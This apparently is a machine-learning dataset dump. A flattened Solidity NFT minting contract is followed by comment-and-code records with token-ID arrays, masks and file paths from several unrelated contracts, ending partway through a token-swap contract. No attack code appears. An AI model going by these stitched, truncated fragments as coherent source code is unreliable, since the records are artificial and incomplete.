memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File contracts/common/meta-transactions/ContentMixin.sol pragma solidity ^0.8.0; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // File contracts/common/meta-transactions/Initializable.sol pragma solidity ^0.8.0; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File contracts/common/meta-transactions/EIP712Base.sol pragma solidity ^0.8.0; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File contracts/common/meta-transactions/NativeMetaTransaction.sol pragma solidity ^0.8.0; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // File contracts/assets/ERC721TradableV2.sol pragma solidity ^0.8.0; contract ProxyRegistry { mapping(address => address) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721TradableV2 is ContextMixin, ERC721Enumerable, NativeMetaTransaction, Ownable { using SafeMath for uint256; address openseaProxyAddress; address elementProxyAddress; mapping(address => bool) public factoryAddresses; uint256 private _currentTokenId = 0; uint256 public maxSupply = 0; constructor( string memory _name, string memory _symbol, uint256 _maxSupply, address _elementProxyRegistry, address _openseaProxyRegistry ) ERC721(_name, _symbol) { maxSupply = _maxSupply; elementProxyAddress = _elementProxyRegistry; openseaProxyAddress = _openseaProxyRegistry; _initializeEIP712(_name); } function baseTokenURI() virtual public view returns (string memory); function tokenURI(uint256 _tokenId) override public view returns (string memory) { return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId))); } /** * Override isApprovedForAll to whitelist user's Element proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist Element's proxy contract for easy trading. ProxyRegistry elementProxy = ProxyRegistry(elementProxyAddress); if (address(elementProxy.proxies(owner)) == operator) { return true; } // Whitelist Opensea's proxy contract for easy trading. ProxyRegistry openseaProxy = ProxyRegistry(openseaProxyAddress); if (address(openseaProxy.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by Element. */ function _msgSender() internal override view returns (address sender) { return ContextMixin.msgSender(); } /** * add factory addrss */ function addFactoryAddress(address factoryAddr) external onlyOwner { factoryAddresses[factoryAddr] = true; } /** * remove factory addrss */ function removeFactoryAddress(address factoryAddr) external onlyOwner { delete factoryAddresses[factoryAddr]; } /** * add factory addrss */ function setMaxSupply(uint256 _maxSupply) external onlyOwner { require(_maxSupply < maxSupply, "out of max supply"); maxSupply = _maxSupply; } } // File @openzeppelin/contracts/security/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File @openzeppelin/contracts/utils/cryptography/[email protected] pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } else if (signature.length == 64) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } } else { revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/assets/MaskhumanV2.sol pragma solidity 0.8.9; contract MaskhumanV2 is ERC721TradableV2, ReentrancyGuard { using ECDSA for bytes32; uint256 private maxPresale = 100; uint256 private _presaleNum = 0; uint256 private _presalePrice = 0; //0ETH uint256 private _presaleQty = 1; mapping(address => bool) private _usedAddresses; address private _signerAddress = 0x32f4B63A46c1D12AD82cABC778D75aBF9889821a; //Metasaur Signer uint256 public pricePerToken = 66000000000000000; //0.066ETH uint256 public saleSupply = 1100; uint256 private publicSaleMaxSupply = 1000; uint256 private publicSaleNum = 0; bool public saleLive = true; bool public presaleLive = true; string public baseURI = "https://api.maskhuman.com/v2/token/"; string public contractURI = "https://api.maskhuman.com/v2/contract"; //triggers on mint event event MintInfo(uint256 indexed tokenIdStart, address indexed sender, address indexed to, uint256 qty, uint256 value); constructor(address _elementProxyRegistry, address _opensaeProxyRegistry) ERC721TradableV2("MaskHuman()", "MHN", 10000, _elementProxyRegistry, _opensaeProxyRegistry) {} function baseTokenURI() override public view returns (string memory) { return baseURI; } function setBaseTokenURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } function getContractURI() public view returns (string memory) { return contractURI; } function setContractURI(string memory _contractURI) public onlyOwner { contractURI = _contractURI; } function batchMint(uint256 _qty, address _to) private { uint256 newTokenId = totalSupply() + 1; require(newTokenId <= saleSupply, "out of stock"); for (uint256 i = 0; i < _qty; i++) { _mint(_to, newTokenId + i); } emit MintInfo(newTokenId, _msgSender(), _to, _qty, msg.value); } /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mintTo(uint256 _qty, address _to) public { require(factoryAddresses[_msgSender()], "not factory"); batchMint(_qty, _to); } // Public buy function publicBuy(uint256 qty) external payable nonReentrant { require(saleLive, "not live "); require(qty <= 20, "no more than 20"); require(pricePerToken * qty == msg.value, "exact amount needed"); require(publicSaleNum + qty <= publicSaleMaxSupply, "public buy out of stock"); publicSaleNum = publicSaleNum + qty; batchMint(qty, _msgSender()); } // Presale buy function presaleBuy(bytes memory sig) external payable nonReentrant { require(presaleLive, "presale not live"); require(matchAddressSigner(msg.sender, sig), "no direct mint"); require(!_usedAddresses[msg.sender], "account already used"); require(_presalePrice * _presaleQty == msg.value, "exact amount needed"); require(_presaleNum + _presaleQty <= maxPresale, "presale out of stock"); _usedAddresses[msg.sender] = true; _presaleNum = _presaleNum + _presaleQty; batchMint(_presaleQty, _msgSender()); } // admin can mint them for giveaways, airdrops etc function adminMint(uint256 qty, address to) public onlyOwner { require(qty > 0, "minimum 1 token"); batchMint(qty, to); } //------------------------------------ //----------- signing code ----------- //------------------------------------ function setSignerAddress(address addr) external onlyOwner { _signerAddress = addr; } function hashSender(address sender) private pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(sender))) ); } function matchAddressSigner(address sender, bytes memory signature) private view returns (bool) { // check sender bytes32 hash = hashSender(sender); return _signerAddress == hash.recover(signature); } function checkSignature(address sender, bytes memory signature) external view returns (bool) { // check sender bytes32 hash = hashSender(sender); return _signerAddress == hash.recover(signature) && !_usedAddresses[msg.sender]; } //---------------------------------- //----------- other code ----------- //---------------------------------- function toggleSaleStatus() external onlyOwner { saleLive = !saleLive; } function togglePresaleStatus() external onlyOwner { presaleLive = !presaleLive; } function changePrice(uint256 newPrice) external onlyOwner { pricePerToken = newPrice; } function changeMaxPresale(uint256 newMaxPresale) external onlyOwner { maxPresale = newMaxPresale; } function changeMaxPublicBuy(uint256 newMaxPublicBuy) external onlyOwner { publicSaleMaxSupply = newMaxPublicBuy; } function changePresaleQty(uint256 newQty) external onlyOwner { _presaleQty = newQty; } function changePresalePrice(uint256 newPrice) external onlyOwner { _presalePrice = newPrice; } /** * add factory addrss */ function changeSaleSupply(uint256 _saleSupply) external onlyOwner { require(_saleSupply <= maxSupply, "out of max supply"); saleSupply = _saleSupply; } function withdrawEarnings() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } function reclaimERC20(IERC20 erc20Token) public onlyOwner { erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this))); } }
* add factory addrss/
function addFactoryAddress(address factoryAddr) external onlyOwner { factoryAddresses[factoryAddr] = true; }
2,451,058
[ 1, 1289, 3272, 3091, 1049, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 1733, 1887, 12, 2867, 3272, 3178, 13, 3903, 1338, 5541, 288, 203, 3639, 3272, 7148, 63, 6848, 3178, 65, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x6d4b1e4e093CA146122Ec29279Ef2E0429bfF695/sources/GetQuestions/AddGameInfo.sol
which currency currencyQuantity items
int256 currencyId;
675,892
[ 1, 12784, 5462, 282, 5462, 12035, 1516, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 509, 5034, 5462, 548, 31, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x2cd65485c634F0B5ea0FD4f65a0962e990f18692/sources/liquidityPool/LiquidityPool.sol
* @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
abstract contract Context { } pragma solidity ^0.8.0; function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
7,108,542
[ 1, 17727, 1779, 2973, 326, 783, 4588, 819, 16, 6508, 326, 5793, 434, 326, 2492, 471, 2097, 501, 18, 21572, 4259, 854, 19190, 2319, 3970, 1234, 18, 15330, 471, 1234, 18, 892, 16, 2898, 1410, 486, 506, 15539, 316, 4123, 279, 2657, 21296, 16, 3241, 1347, 21964, 598, 2191, 17, 20376, 326, 2236, 5431, 471, 8843, 310, 364, 4588, 2026, 486, 506, 326, 3214, 5793, 261, 345, 10247, 487, 392, 2521, 353, 356, 2750, 11748, 2934, 1220, 6835, 353, 1338, 1931, 364, 12110, 16, 5313, 17, 5625, 20092, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 1772, 288, 203, 97, 203, 2398, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 389, 3576, 751, 1435, 2713, 1476, 5024, 1135, 261, 3890, 745, 892, 13, 288, 203, 3639, 327, 1234, 18, 892, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* * Copyright ©️ 2020 Curio AG (Company Number FL-0002.594.728-9) * Incorporated and registered in Liechtenstein. * * Copyright ©️ 2020 Curio Capital AG (Company Number CHE-211.446.654) * Incorporated and registered in Zug, Switzerland. */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/utils/Pausable.sol"; import "./utils/FundsManager.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title TokenSwaps * @dev This contract allowed 1:1 swap of one ERC20 token to another */ contract TokenSwaps is Pausable, FundsManager { // token from user IERC20 public tokenFrom; // token to user IERC20 public tokenTo; // swapped amount uint256 public swapped; // wallet for tokenTo address public wallet; /** * @param _tokenFrom Token from user * @param _tokenTo Token to user * @param _wallet Wallet address for tokenTo **/ constructor( IERC20 _tokenFrom, IERC20 _tokenTo, address _wallet ) public { tokenFrom = _tokenFrom; tokenTo = _tokenTo; wallet = _wallet; } /** * @notice Token must be pre-approved * @dev Swap token with ratio 1:1 for sender * @param _amount The amount of tokens to swap **/ function swap(uint256 _amount) public { swapToAddress(_amount, msg.sender); } /** * @notice Token must be pre-approved * @dev Swap token with ratio 1:1 from sender to _to address * @param _amount The amount of tokens to swap * @param _to Token recipient address **/ function swapToAddress(uint256 _amount, address _to) public whenNotPaused { tokenFrom.transferFrom(msg.sender, wallet, _amount); tokenTo.transfer(_to, _amount); swapped += _amount; // safe: SafeMath is not required } /** * @dev Pauses token swaps. */ 